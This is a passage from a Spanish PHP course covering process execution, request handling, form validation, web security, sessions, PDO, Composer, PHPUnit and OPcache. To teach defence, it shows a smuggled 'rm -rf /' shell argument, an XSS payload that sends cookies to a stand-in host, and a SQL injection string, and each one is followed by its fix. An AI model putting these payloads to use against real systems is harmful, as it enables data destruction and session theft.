proc_open() | proceso + pipes | control total | sí (proc_get_status) |
Seguridad ANTES de todo: escapar argumentos
<?php
declare(strict_types=1);
// PELIGRO MORAL: interpolar entrada del usuario sin escapar.
// $usuario = 'pepe; rm -rf /';
// shell_exec("id -u $usuario"); // ¡ejecuta lo segundo tambien!
$usuario = 'pepe; rm -rf /'; // dato hostil simulado
$seguro = escapeshellarg($usuario); // lo convierte en UN solo literal
$linea = trim((string) shell_exec("id -u $seguro 2>&1"));
echo "resultado: $linea\n";
// Regla: escapeshellarg() para CADA valor; nunca concatenes crudo.proc_open: control total con pipes
Cuando necesitas stdout Y stderr separados, enviar stdin, o leer sin bloquear,
proc_open es la herramienta:
<?php
declare(strict_types=1);
$descriptores = [
0 => ['pipe', 'r'], // stdin del hijo: le escribimos
1 => ['pipe', 'w'], // stdout del hijo: leemos
2 => ['pipe', 'w'], // stderr del hijo: leemos aparte
];
$proceso = proc_open(['php', '-r', 'fwrite(STDOUT, "hola del hijo\n"); fwrite(STDERR, "aviso interno\n");'], $descriptores, $pipes);
if (!is_resource($proceso)) {
throw new RuntimeException('No se pudo iniciar el proceso');
}
fclose($pipes[0]); // cerrar stdin: senal de EOF
$salida = stream_get_contents($pipes[1]);
$errores = stream_get_contents($pipes[2]);
fclose($pipes[1]);
fclose($pipes[2]);
$codigo = proc_close($proceso); // espera y devuelve exit code
echo "STDOUT: $salida", "STDERR: $errores", "exit=$codigo\n";El patrón asíncrono: disparo y consulta
<?php
declare(strict_types=1);
function lanzarReporte(int $pedidoId): string
{
$jobId = bin2hex(random_bytes(8));
$marca = sys_get_temp_dir() . "/job_$jobId.json";
file_put_contents($marca, json_encode(['estado' => 'en_cola', 'pedido' => $pedidoId]));
// Detach: nohup + & redirigiendo salida; el padre SIGUE al instante:
$script = escapeshellarg(__DIR__ . '/generar_reporte.php');
$estado = escapeshellarg($marca);
$id = escapeshellarg($jobId);
shell_exec("nohup php $script --job=$id --estado=$estado >/dev/null 2>&1 &");
return $jobId; // la web responde YA con este ticket
}
function estadoDe(string $jobId): array
{
$marca = sys_get_temp_dir() . '/job_' . preg_replace('/[^a-f0-9]/', '', $jobId) . '.json';
$bruto = is_file($marca) ? file_get_contents($marca) : false;
return $bruto === false ? ['estado' => 'desconocido'] : (array) json_decode($bruto, true);
}
$id = lanzarReporte(1001);
echo "Ticket: $id\n";
print_r(estadoDe($id));disable_functions). Verifica antes de
diseñar sobre ellas. Y en producción real, migra el patrón a una cola formal
(cron + tabla de jobs, o colas de framework) — esta versión artesanal enseña los
fundamentos.Puntos clave
- Tareas largas: web dispara, CLI ejecuta, usuario consulta.
escapeshellarg()en CADA valor externo, sin excepciones.proc_open: pipes independientes, stdin, códigos limpios.- Detach con
nohup ... &+ archivo de estado como ticket. - Producción seria = cola formal; esto son los cimientos.
32 · Petición, respuesta y superglobales
Básico ~13 minToda interacción web son dos mensajes: el navegador envía una petición, PHP construye una respuesta. Las superglobales son las ventanas por donde entra esa petición ya desglosada.
El mapa completo de superglobales
| Superglobal | Contiene | Ejemplo de clave |
|---|---|---|
$_GET | query string de la URL | /busca?q=cafe&p=2 |
$_POST | cuerpo de formularios POST | campos name= del formulario |
$_FILES | archivos subidos | tmp_name, size, error |
$_COOKIE | cookies del navegador | tema=oscuro |
$_SERVER | entorno de la petición | REQUEST_METHOD, HTTP_HOST |
$_SESSION | datos del usuario en servidor | cap. 35 |
$_REQUEST: mezcla GET/POST/cookie y oculta
de dónde vino cada dato. Sé explícito con la fuente.Leer la petición como un profesional
<?php
declare(strict_types=1);
$metodo = $_SERVER['REQUEST_METHOD']; // GET | POST | PUT | DELETE...
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH); // sin query string
$host = $_SERVER['HTTP_HOST'];
echo "$metodo https://$host$ruta\n";
// Cabeceras personalizadas llegan con prefijo HTTP_ y guiones a guiones bajos:
// X-Token: abc123 => $_SERVER['HTTP_X_TOKEN']
$token = $_SERVER['HTTP_X_TOKEN'] ?? '(sin token)';
echo "X-Token: $token\n";
// Cuerpos JSON (APIs): NO llegan a $_POST; viven crudos aqui:
$cuerpo = file_get_contents('php://input');
$datos = json_decode($cuerpo ?: '{}', true);
var_dump($datos);Construir la respuesta
<?php
declare(strict_types=1);
function responderJson(mixed $datos, int $codigo = 200): never
{
http_response_code($codigo);
header('Content-Type: application/json; charset=utf-8');
echo json_encode($datos, JSON_UNESCAPED_UNICODE | JSON_THROW_ON_ERROR);
exit;
}
responderJson(['ok' => true, 'mensaje' => 'Pedido registrado']);header()DEBE ejecutarse antes de cualquier echo: «headers already sent» es la cicatriz clásica.- Redirección correcta: código explícito + exit inmediato.
- Los códigos importan: 201 creado, 204 sin contenido, 404 no hallado, 422 validación fallida, 500 error interno.
<?php
declare(strict_types=1);
// Redireccion tras un POST (patron PRG completo en el cap. 33):
http_response_code(303); // See Other
header('Location: /pedidos/' . $idNuevo);
exit;Mini-router para el servidor embebido
Con php -S localhost:8000 router.php este archivo recibe
TODAS las peticiones y decide quién atiende qué — la base de la API REST integradora:
<?php
declare(strict_types=1);
$ruta = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$metodo = $_SERVER['REQUEST_METHOD'];
$match = match ("$metodo $ruta") {
'GET /pedidos' => fn () => responderJson(['pedidos' => []]),
'GET /salud' => fn () => responderJson(['estado' => 'ok']),
default => fn () => responderJson(['error' => 'no encontrado'], 404),
};
$match();Puntos clave
- Cada superglobal tiene UNA fuente: úsala explícitamente.
- Cuerpos JSON entran por
php://input, no por$_POST. - Cabeceras antes que cuerpo; códigos HTTP precisos.
- PRG tras escrituras; exit tras Location.
matchsobre «METODO ruta» = router en tres líneas.
33 · Formularios y validación
Básico ~13 minEl formulario es la puerta de entrada de datos sucios. La disciplina: validar en servidor SIEMPRE (el HTML del cliente es decoración), responder con errores concretos y repoblar lo que el usuario ya escribió.
El patrón POST-Redirect-GET
<?php
declare(strict_types=1);
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
// ... guardar en BD ...
session_start();
$_SESSION['flash'] = 'Producto registrado';
header('Location: /productos/crear'); // 303 See Other
exit; // sin esto, F5 reenvia el POST
}
// GET: mostrar el formulario (con flash si existe)
session_start();
$flash = $_SESSION['flash'] ?? null;
unset($_SESSION['flash']);Sin PRG, cada F5 del usuario duplica el pedido. Con PRG, el navegador termina en un GET limpio que se puede refrescar sin miedo.
Validar con filter_var: reglas declarativas
<?php
declare(strict_types=1);
function validarProducto(array $entrada): array // [] = valido, sino errores
{
$errores = [];
$nombre = trim($entrada['nombre'] ?? '');
if ($nombre === '') {
$errores['nombre'][] = 'El nombre es obligatorio';
} elseif (mb_strlen($nombre) > 80) {
$errores['nombre'][] = 'Maximo 80 caracteres';
}
$precio = filter_var($entrada['precio'] ?? null, FILTER_VALIDATE_FLOAT);
if ($precio === false || $precio <= 0) {
$errores['precio'][] = 'Precio debe ser numero mayor a 0';
}
$stock = filter_var($entrada['stock'] ?? null, FILTER_VALIDATE_INT, [
'options' => ['min_range' => 0, 'max_range' => 100000],
]);
if ($stock === false) {
$errores['stock'][] = 'Stock debe ser entero entre 0 y 100000';
}
$correo = filter_var($entrada['correo_proveedor'] ?? '', FILTER_VALIDATE_EMAIL);
if ($correo === false) {
$errores['correo_proveedor'][] = 'Correo invalido';
}
return $errores;
}
$errores = validarProducto($_POST + ['precio' => '-5']);
print_r(array_keys($errores));Formulario con errores y valores pegajosos
<!-- dentro de crear.php -->
<form method="post" action="/productos/crear">
<label>Nombre
<input name="nombre" value="
<?= htmlspecialchars($entrada['nombre'] ?? '', ENT_QUOTES, 'UTF-8') ?>">
</label>
<?php if (isset($errores['nombre'])): ?>
<span class="error"><?= htmlspecialchars($errores['nombre'][0]) ?></span>
<?php endif; ?>
<button type="submit">Guardar</button>
</form>Subida de archivos: $_FILES bajo control
<?php
declare(strict_types=1);
const MAX_FOTO = 2 * 1024 * 1024; // 2 MB
function subirFoto(array $archivo): string
{
if (($archivo['error'] ?? UPLOAD_ERR_NO_FILE) !== UPLOAD_ERR_OK) {
throw new RuntimeException('Error al subir (codigo ' . ($archivo['error'] ?? '?') . ')');
}
if ($archivo['size'] > MAX_FOTO) {
throw new RuntimeException('La foto excede 2 MB');
}
// El nombre original NO se confia: genera uno propio:
$extension = pathinfo($archivo['name'], PATHINFO_EXTENSION);
if (!in_array(strtolower($extension), ['jpg', 'jpeg', 'png'], true)) {
throw new RuntimeException('Solo JPG o PNG');
}
$destino = __DIR__ . '/uploads/' . bin2hex(random_bytes(16)) . '.' . strtolower($extension);
if (!move_uploaded_file($archivo['tmp_name'], $destino)) {
throw new RuntimeException('No se pudo mover el archivo');
}
return basename($destino);
}
try {
echo 'Guardada como: ', subirFoto($_FILES['foto'] ?? []), PHP_EOL;
} catch (RuntimeException $e) {
echo 'Rechazado: ', $e->getMessage(), PHP_EOL;
}error= 4 significa «no enviaron archivo»; los códigos vienen de las constantesUPLOAD_ERR_*.is_uploaded_file()ya verifica move_uploaded_file; no uses copy() directo.- El tipo MIME reportado por el navegador es MENTIROBO editable: valida por
extensión permitida + contenido real (
finfo_file) si importa.
Puntos clave
- Validación SOLO en servidor; JS es cortesía.
filter_var+ bolsa de errores por campo.- PRG tras todo POST que escribe.
- Repoblar con
htmlspecialchars(ENT_QUOTES)siempre. - Uploads: código de error, tamaño, extensión propia, nombre aleatorio.
34 · Seguridad web esencial
Intermedio ~14 minCuatro ataques causan la mayoría de las brechas en PHP: XSS, inyección SQL, CSRF y contraseñas mal guardadas. Cada uno tiene un remedio mecánico que se aplica una vez y se olvida.
XSS: escapar TODO al salir
<?php
declare(strict_types=1);
// El atacante se registra como nombre:
$atacante = '<script>fetch("https://mal.pe?c="+document.cookie)</script>';
// MAL: el script corre en cada visitante que vea su perfil
// echo "<h1>$atacante</h1>";
// BIEN: escapado con contexto HTML + comillas cubiertas:
echo htmlspecialchars($atacante, ENT_QUOTES, 'UTF-8'), PHP_EOL;
function e(?string $texto): string // helper de una letra: escapar sin pensar
{
return htmlspecialchars($texto ?? '', ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}
echo e('Comentario <b>"importante"</b> de Ñuñez'), PHP_EOL;Inyección SQL: solo consultas preparadas
<?php
declare(strict_types=1);
// $pdo = new PDO(...); (conexion completa en cap. 36)
$ruc = "' OR '1'='1"; // intento clasico de evasión
// FATAL: concatenar. La cadena rompe la consulta y devuelve TODOS los clientes.
// $pdo->query("SELECT * FROM clientes WHERE ruc = '$ruc'");
// SEGURO: el driver separa codigo de datos por diseño:
$stmt = $GLOBALS['pdo']->prepare('SELECT id, razon FROM clientes WHERE ruc = ?');
$stmt->execute([$ruc]);
var_dump($stmt->fetchAll()); // cero resultados: el dato es solo textoCSRF: token por sesión en cada formulario
<?php
declare(strict_types=1);
session_start();
if (empty($_SESSION['csrf'])) {
$_SESSION['csrf'] = bin2hex(random_bytes(32));
}
// En el formulario: <input type="hidden" name="csrf" value="= $_SESSION['csrf'] ?>">
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$enviado = $_POST['csrf'] ?? '';
if (!hash_equals($_SESSION['csrf'], $enviado)) { // comparacion a prueba de timing
http_response_code(403);
exit('Token CSRF invalido');
}
// ... procesar con confianza ...
}- El ataque: un sitio externo hace que tu navegador POSTEE a tu banco sin que lo sepas. Sin token válido, el servidor rechaza.
hash_equals(), nunca===: evita filtrar el token por tiempos de respuesta.
Contraseñas: password_hash y nada más
<?php
declare(strict_types=1);
// Al registrar: hash automatico bcrypt/argon2 con salt incluido:
$hash = password_hash('MiClave2026!', PASSWORD_DEFAULT);
echo substr($hash, 0, 29), "...", PHP_EOL;
// Al iniciar sesion:
if (password_verify('MiClave2026!', $hash)) {
echo 'Bienvenido', PHP_EOL;
// Rehash transparente si PHP mejoro el algoritmo por defecto:
if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
// UPDATE usuarios SET hash = password_hash(...) WHERE id = ?
}
}
// JAMAS: md5(), sha1(), sha256() "con sal casera". Ni base64. Nunca.Cabeceras de endurecimiento
| Cabecera | Contra qué protege |
|---|---|
X-Content-Type-Options: nosniff | que el navegador «adivine» tipos MIME |
X-Frame-Options: DENY | clickjacking (iframe invisible) |
Referrer-Policy: strict-origin | fugas de URLs internas a terceros |
Content-Security-Policy | ejecución de scripts no propios (XSS residual) |
Strict-Transport-Security | degradación HTTP→HTTPS |
Puntos clave
- XSS →
htmlspecialchars(ENT_QUOTES)o helpere(). - SQLi → prepared statements, siempre; concatenación jamás.
- CSRF → token de sesión +
hash_equals(). - Passwords →
password_hash/verify/needs_rehash. - Cabeceras de endurecimiento desde el bootstrap.
35 · Sesiones y cookies
Intermedio ~13 minHTTP no recuerda nada: cada petición es un extraño nuevo. Las cookies dan memoria al navegador; las sesiones guardan los datos en el servidor y solo dejan una llave (el ID de sesión) en la cookie.
Cookies: configuración seria desde el día uno
<?php
declare(strict_types=1);
// setcookie(nombre, valor, opciones) — el array de opciones (7.3+) se lee solo:
setcookie('tema', 'oscuro', [
'expires' => time() + 60 * 60 * 24 * 30, // 30 dias
'path' => '/',
'secure' => true, // SOLO via HTTPS
'httponly' => true, // invisible para JavaScript
'samesite' => 'Lax', // mitiga CSRF entre sitios
]);
// Leer (llega en la SIGUIENTE peticion):
$tema = $_COOKIE['tema'] ?? 'claro';
// Eliminar: misma cookie con expiracion en el pasado:
setcookie('tema', '', ['expires' => time() - 3600, 'path' => '/']);Sesiones: estado del lado servidor
<?php
declare(strict_types=1);
session_start(); // PRIMERA linea ejecutable
$_SESSION['carrito'] ??= []; // inicializar si no existe
$_SESSION['carrito'][] = ['sku' => 'CAF-1KG', 'cant' => 2];
echo session_id(), PHP_EOL; // la llave que viaja en la cookie
print_r($_SESSION['carrito']);Login seguro: regenerar ID siempre
<?php
declare(strict_types=1);
session_start();
function iniciarSesion(int $usuarioId): void
{
session_regenerate_id(true); // ANTI FIJACION: id nuevo tras autenticar
$_SESSION['usuario_id'] = $usuarioId;
$_SESSION['login_at'] = time();
}
function usuarioActual(): ?int
{
// Sesion inactiva demasiado tiempo = cerrar:
if (isset($_SESSION['login_at']) && time() - $_SESSION['login_at'] > 1800) {
session_destroy();
return null;
}
return $_SESSION['usuario_id'] ?? null;
}
iniciarSesion(42);
var_dump(usuarioActual());- Fijación de sesión: atacante te pre-asigna un ID conocido;
tras login, ese ID ya tiene privilegios.
regenerate_id(true)lo desarma. - Regenerar también al cambiar permisos (rol admin).
session_destroy()borra datos del servidor; para logout completo añadesetcookie(session_name(), '', time()-3600, '/').
Mensajes flash y envoltorio tipado
<?php ... (continuacion)
function flash(string $mensaje): void
{
$_SESSION['flash'] = $mensaje;
}
function tomarFlash(): ?string
{
$m = $_SESSION['flash'] ?? null;
unset($_SESSION['flash']); // un uso y muere
return $m;
}
flash('Compra registrada con exito');
var_dump(tomarFlash());
var_dump(tomarFlash()); // segunda vez: ya no existe| Necesidad | Cookies | Sesiones |
|---|---|---|
| Dato visible/no sensible (tema, idioma) | ideal | sobrecarga innecesaria |
| Login, carrito, permisos | nunca | obligatorio |
| Vida útil | días/años | minutos/horas |
| Quién lo guarda | el navegador | el servidor |
Puntos clave
- Cookies sensibles: secure + httponly + samesite=Lax.
- Sesión = datos en servidor; cookie = solo el ID.
session_regenerate_id(true)tras cada cambio de privilegio.- Flash messages: escribir, leer una vez, eliminar.
- Credenciales jamás en cookies; eso vive en la sesión.
36 · PDO: MySQL y SQL Server
Intermedio ~14 minPDO es la capa única para hablar con cualquier base de datos: cambias el DSN y el resto de tu código no se entera. Aquí conectamos los dos motores del curso: MySQL y SQL Server (el mismo de los capítulos 3–4).
Conexión: dos DSN, un patrón
<?php
declare(strict_types=1);
// MySQL local (XAMPP / instalacion tipica):
$mysql = new PDO(
'mysql:host=localhost;dbname=tienda;charset=utf8mb4',
'root',
'',
[
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION, // errores = excepciones
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC, // arrays asociativos
PDO::ATTR_EMULATE_PREPARES => false, // preparado REAL del motor
]
);
// SQL Server (cap. 4: ODBC Driver 18 cifra por defecto):
$sqlsrv = new PDO(
'sqlsrv:Server=localhost,1433;Database=tienda;TrustServerCertificate=1',
'usuario_app', // NUNCA sa en produccion
'claveSegura!',
[PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]
);Consultas preparadas: nombradas vs posicionales
<?php
declare(strict_types=1);
/** @var PDO $pdo */
// Nombradas: autodocumentadas, orden libre:
$stmt = $pdo->prepare(
'INSERT INTO productos (nombre, precio, stock) VALUES (:nombre, :precio, :stock)'
);
$stmt->execute(['nombre' => 'Cafe especial', 'precio' => 24.90, 'stock' => 50]);
$idNuevo = (int) $pdo->lastInsertId();
// Posicionales: breves para una o dos condiciones:
$stmt = $pdo->prepare('SELECT * FROM productos WHERE precio <= ? AND stock > ?');
$stmt->execute([30.0, 0]);
foreach ($stmt->fetchAll() as $fila) {
echo "{$fila['nombre']} — S/ {$fila['precio']}\n";
}El caso IN (...): placeholders dinámicos
<?php
declare(strict_types=1);
/** @var PDO $pdo */
function porSkus(PDO $pdo, array $skus): array
{
// Un "?" por elemento: "?,?,?" — los datos SIEMPRE viajan como parametros:
$marcadores = implode(',', array_fill(0, count($skus), '?'));
$stmt = $pdo->prepare("SELECT sku, nombre FROM productos WHERE sku IN ($marcadores)");
$stmt->execute($skus);
return $stmt->fetchAll();
}
print_r(array_column(porSkus($GLOBALS['pdo'], ['CAF-1KG', 'LEQ-1L']), 'nombre'));Transacciones: todo o nada
<?php
declare(strict_types=1);
/** @var PDO $pdo */
function transferirStock(PDO $pdo, int $origenId, int $destinoId, int $cantidad): void
{
$pdo->beginTransaction(); // abre la unidad atomica
try {
$pdo->prepare('UPDATE productos SET stock = stock - ? WHERE id = ?')
->execute([$cantidad, $origenId]);
$pdo->prepare('UPDATE productos SET stock = stock + ? WHERE id = ?')
->execute([$cantidad, $destinoId]);
$pdo->commit(); // AMBAS escrituras quedan
} catch (Throwable $e) {
$pdo->rollBack(); // NINGUNA queda: estado intacto
throw $e;
}
}Diferencias prácticas entre motores
| Tema | MySQL | SQL Server |
|---|---|---|
| DSN host | mysql:host=...;dbname=...; | sqlsrv:Server=host,port;Database=... |
| Paginación | LIMIT ? OFFSET ? | OFFSET ? ROWS FETCH NEXT ? ROWS ONLY (exige ORDER BY) |
| ID insertado | lastInsertId() directo | lastInsertId() vía SCOPE_IDENTITY() |
| Identificador entre comillas | `nombre` | [nombre] |
| AUTO_INCREMENT | AUTO_INCREMENT | IDENTITY(1,1) |
<?php
declare(strict_types=1);
/** @var PDO $pdo */
// Paginacion portable con ORDER BY obligatorio en ambos:
function pagina(PDO $pdo, string $motor, int $n, int $tamano): array
{
$offset = ($n - 1) * $tamano;
if ($motor === 'mysql') {
$sql = 'SELECT * FROM productos ORDER BY id LIMIT ? OFFSET ?';
} else {
$sql = 'SELECT * FROM productos ORDER BY id OFFSET ? ROWS FETCH NEXT ? ROWS ONLY';
}
$stmt = $pdo->prepare($sql);
$stmt->bindValue(1, $offset, PDO::PARAM_INT);
$stmt->bindValue(2, $tamano, PDO::PARAM_INT);
$stmt->execute();
return $stmt->fetchAll();
}php_04_tutorial.html). Lo que ya NO cambiará:
prepared statements, transacciones explícitas y
ERRMODE_EXCEPTION.Puntos clave
- Tres opciones de conexión no negociables: exceptions, FETCH_ASSOC, sin emulación.
- Datos SIEMPRE como parámetros; IN(...) con placeholders dinámicos.
- Transacciones para operaciones compuestas; rollback en catch + rethrow.
- Sintaxis de paginación difiere: abstráela en una función.
37 · Composer y PSR
Básico ~14 minComposer es el corazón del ecosistema PHP moderno: gestiona dependencias, genera el autoloader real que reemplaza al artesanal del capítulo 12 y ejecuta scripts del proyecto. Los PSR son los estándares que hacen que paquetes de autores distintos encajen entre sí.
Arrancar un proyecto con Composer
composer init --name mi-tienda/core --no-interaction
composer require vlucas/phpdotenv:^5.6
composer require --dev phpunit/phpunit:^11
composer dump-autoload # regenera el autoloader tras crear clases nuevas{
"name": "mi-tienda/core",
"require": {
"php": ">=8.5",
"vlucas/phpdotenv": "^5.6"
},
"require-dev": {
"phpunit/phpunit": "^11"
},
"autoload": {
"psr-4": {
"Tienda\\": "src/"
}
},
"scripts": {
"test": "phpunit tests"
}
}PSR-4: el contrato carpeta ↔ namespace
La clave "Tienda\\": "src/" significa: toda clase cuyo
namespace empiece por Tienda\ vive bajo
src/, con el resto del namespace como subcarpetas:
<?php
// src/Pagos/TarjetaProcesador.php (namespace Tienda\Pagos)
declare(strict_types=1);
namespace Tienda\Pagos;
class TarjetaProcesador
{
public function cobrar(float $monto): bool
{
return $monto > 0;
}
}
// public/index.php — UNA linea reemplaza a todo spl_autoload_register:
require __DIR__ . '/../vendor/autoload.php';
use Tienda\Pagos\TarjetaProcesador;
var_dump((new TarjetaProcesador())->cobrar(59.90));Los comandos que usas todos los días
| Comando | Qué hace | Cuándo |
|---|---|---|
composer install | instala EXACTO lo del lock file | deploy, clonar repo |
composer update | resuelve versiones nuevas y actualiza el lock | mantenimiento deliberado |
composer require pkg | añade dependencia + lock al instante | nueva funcionalidad |
composer dump-autoload | regenera mapa de clases (-o optimizado) | tras mover clases |
composer outdated | dependencias con versiones nuevas | auditoría mensual |
- Caret ^:
^5.6acepta 5.x ≥ 5.6 pero nunca 6.0 (rompe compatibilidad). El operador de seguridad. - El lock file se compromete SIEMPRE; el directorio
vendor/va en .gitignore. - require-dev: herramientas solo para desarrollo (PHPUnit);
install --no-deven producción.
Los PSR que encontrarás en cada entrevista
| PSR | Tema | Ejemplo canónico |
|---|---|---|
PSR-4 | autocarga | el mapeo de arriba |
PSR-12 | estilo de código | php-cs-fixer ya lo aplica (cap. 5) |
PSR-3 | interfaz de logger | Monolog la implementa (cap. 40) |
PSR-6/16 | caché | Symfony Cache, APCu adapter |
PSR-7/15 | mensajes HTTP y handlers | middleware interopérable |
PSR-11 | contenedor de servicios | inyección de dependencias |
Puntos clave
vendor/autoload.php= autoloader definitivo (PSR-4).installreproduce;updatedecide; lock siempre en git.^permite parches/minor, bloquea majors.- PSR = contratos de interoperabilidad entre paquetes.
38 · PHPUnit: red de seguridad
Intermedio ~14 minUna prueba automática es un programa que verifica tu programa. Con PHPUnit, cada refactor deja de ser un salto al vacío: si algo se rompe, la suite te dice qué y dónde — en segundos.
Instalación y primera prueba
composer require --dev phpunit/phpunit:^11
mkdir tests
./vendor/bin/phpunit --version<?php
// tests/CalculadoraComisionTest.php
declare(strict_types=1);
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;
final class CalculadoraComisionTest extends TestCase
{
#[Test]
public function comisionDeYapeEsCeroPuntoOchoCincoPorciento(): void
{
$calculadora = new CalculadoraComision();
$resultado = $calculadora->para('yape', 100.0);
$this->assertSame(0.85, $resultado);
}
}
// src/CalculadoraComision.php — la clase bajo prueba:
final class CalculadoraComision
{
public function para(string $medioPago, float $monto): float
{
return match ($medioPago) {
'efectivo' => 0.0,
'tarjeta' => round($monto * 0.035, 2),
'yape' => round($monto * 0.0085, 2),
default => throw new InvalidArgumentException('Medio invalido'),
};
}
}Probar que falla como debe: excepciones
<?php
declare(strict_types=1);
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;
final class MedioInvalidoTest extends TestCase
{
#[Test]
public function rechazaMediosDesconocidos(): void
{
$calc = new CalculadoraComision(); // ARRANGE: preparar
$this->expectException(InvalidArgumentException::class); // ACT + ASSERT
$this->expectExceptionMessage('Medio invalido');
$calc->para('plin', 10.0); // debe lanzar
}
}Data providers: una lógica, muchos casos
En lugar de copiar el mismo test cinco veces, un provider alimenta variantes:
<?php
declare(strict_types=1);
use PHPUnit\Framework\Attributes\DataProvider;
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;
final class ComisionMatrizTest extends TestCase
{
public static function casos(): array
{
return [
'efectivo sin costo' => ['efectivo', 200.0, 0.0],
'tarjeta 3.5%' => ['tarjeta', 200.0, 7.0],
'yape 0.85%' => ['yape', 200.0, 1.7],
'monto con centimos' => ['yape', 59.90, 0.51],
];
}
#[Test]
#[DataProvider('casos')]
public function calculaCorrectamente(string $medio, float $monto, float $esperado): void
{
$this->assertSame($esperado, (new CalculadoraComision())->para($medio, $monto));
}
}Dobles de prueba: aislar dependencias
Para probar validación NO quieres tocar base de datos real. Los stubs simulan colaboradores:
<?php
declare(strict_types=1);
use PHPUnit\Framework\Attributes\Test;
use PHPUnit\Framework\TestCase;
interface RepositorioProductos
{
public function existeSku(string $sku): bool;
}
class Registrador
{
public function __construct(private RepositorioProductos $repo)
{
}
public function registrar(string $sku): string
{
if ($this->repo->existeSku($sku)) {
return 'duplicado';
}
return 'registrado';
}
}
final class RegistradorTest extends TestCase
{
#[Test]
public function detectaSkusRepetidos(): void
{
$repo = $this->createStub(RepositorioProductos::class);
$repo->method('existeSku')->willReturn(true); // guion fijo
$resultado = (new Registrador($repo))->registrar('CAF-1KG');
$this->assertSame('duplicado', $resultado);
}
#[Test]
public function registraSkusNuevos(): void
{
$repo = $this->createStub(RepositorioProductos::class);
$repo->method('existeSku')->willReturn(false);
$this->assertSame('registrado', (new Registrador($repo))->registrar('X'));
}
}Ejecutar y leer los resultados
composer test # via scripts del composer.json
./vendor/bin/phpunit tests # directo
./vendor/bin/phpunit --filter detectaSkus tests/RegistradorTest.php- Arrange-Act-Assert: preparar, ejecutar, verificar — tres bloques legibles en cada test.
assertSame()sobreassertEquals(): estricto, sin coerciones sorpresa (eco del cap. 6).- Un test = UNA razón de fallo. Si necesitas «y también», es otro test.
Puntos clave
#[Test]+ nombres descriptivos = documentación viva.expectExceptionverifica rutas de error, no solo el camino feliz.- Data providers cubren matrices de casos sin duplicar código.
- Stubs aíslan BD/APIs externas: tests rápidos y deterministas.
39 · OPcache y JIT: rendimiento real
Intermedio ~13 minPHP re-ejecuta tu código en cada petición. Sin caché, cada visita paga el ciclo completo: leer archivos, parsear texto, compilar a opcodes y recién ejecutar. OPcache elimina la parte cara; JIT va un paso más allá.
El ciclo de vida de una petición
// Lo que ocurre SIN cache, en CADA request:
// 1. Lexing : app.php (texto) -> tokens
// 2. Parsing : tokens -> AST (arbol sintactico)
// 3. Compilacion : AST -> opcodes (instrucciones de la VM Zend)
// 4. Ejecucion : VM corre los opcodes
//
// Con OPcache activo:
// pasos 1-3 se ejecutan UNA VEZ; las siguientes peticiones van directo al paso 4.Configuración de producción probada
; php.ini — bloque OPcache recomendado para FPM en produccion
opcache.enable = 1
opcache.memory_consumption = 256 ; MB para opcodes
opcache.interned_strings_buffer = 32 ; strings compartidas
opcache.max_accelerated_files = 20000 ; > numero real de .php del proyecto
opcache.validate_timestamps = 0 ; NO revisa cambios en disco (produccion!)
opcache.jit_buffer_size = 128M ; JIT (ver abajo)
opcache.jit = tracingvalidate_timestamps = 0 significa
que desplegar código nuevo exige recargar FPM
(systemctl reload php8.5-fpm). Es el precio de no
revisar el disco en cada petición: velocidad máxima + deploy explícito.| Ajuste | Desarrollo | Producción |
|---|---|---|
validate_timestamps | 1 (editas y ves) | 0 + reload al desplegar |
revalidate_freq | 0 | irrelevante con timestamps=0 |
memory_consumption | 128 | 256–512 según proyecto |
jit_buffer_size | 0 (off) | 64–128M si hay CPU intensiva |
JIT: qué hace y cuándo importa
JIT (Just In Time) traduce hot paths de opcodes a código máquina nativo. Su ganancia es enorme en CPU pura y casi nula en web típica (donde manda E/S: BD, red, disco):
<?php
declare(strict_types=1);
// Benchmark honesto: CPU pura donde JIT brilla:
function mandelbrot(int $ancho, int $alto): int
{
$pintados = 0;
for ($y = 0; $y < $alto; $y++) {
for ($x = 0; $x < $ancho; $x++) {
$zr = $zi = 0.0;
$cr = ($x / $ancho) * 3.0 - 2.0;
$ci = ($y / $alto) * 3.0 - 1.5;
for ($n = 0; $n < 50; $n++) {
$tmp = $zr * $zr - $zi * $zi + $cr;
$zi = 2.0 * $zr * $zi + $ci;
$zr = $tmp;
if ($zr * $zr + $zi * $zi > 4.0) {
break;
}
}
if ($n === 50) {
$pintados++;
}
}
}
return $pintados;
}
$inicio = hrtime(true);
echo mandelbrot(400, 300), " puntos dentro\n";
echo 'ms: ', (int) ((hrtime(true) - $inicio) / 1e6), PHP_EOL;Verificar que está vivo
php -i | grep -E 'opcache.(enable|jit_buffer)'
php -r 'var_dump(function_exists("opcache_get_status"));'
# En web: var_dump(array_keys(opcache_get_status()["scripts"] ?? []));Preloading: framework caliente desde el arranque
; Cargar SIEMPRE en memoria las clases nucleares (7.4+):
opcache.preload = /var/www/tienda/preload.php
opcache.preload_user = www-data<?php
// preload.php — se ejecuta UNA vez al iniciar FPM, no por request:
require_once __DIR__ . '/vendor/autoload.php';
foreach (glob(__DIR__ . '/src/Core/*.php') as $archivo) {
opcache_compile_file($archivo); // compila sin ejecutar
}- OPcache es gratis y obligatorio: activarlo duplica el throughput típico.
- JIT ayuda en imágenes, matemática, cripto; en CRUD web el impacto es marginal.
- Mide ANTES:
ab -n 1000 -c 50 URLo k6, luego decide.
Puntos clave
- OPcache guarda opcodes compilados: salta lex/parse/compile por request.
- Prod:
validate_timestamps=0+ reload en cada deploy. - JIT tracing solo si el perfil muestra CPU; web vive de E/S.
- Preloading calienta núcleos de framework al arrancar FPM.
- Benchmark antes y después; la intuición miente.
40 · Registro y depuración
Intermedio ~14 minEl var_dump que se te olvidó en producción es una
filtración de datos esperando sentencia. La disciplina profesional: logs
estructurados con niveles, y depuración con herramientas — no con ecos.
Un logger PSR-3 artesanal (y suficiente)
<?php
declare(strict_types=1);
enum NivelLog: string
{
case DEBUG = 'DEBUG';
case INFO = 'INFO';
case WARN = 'WARN';
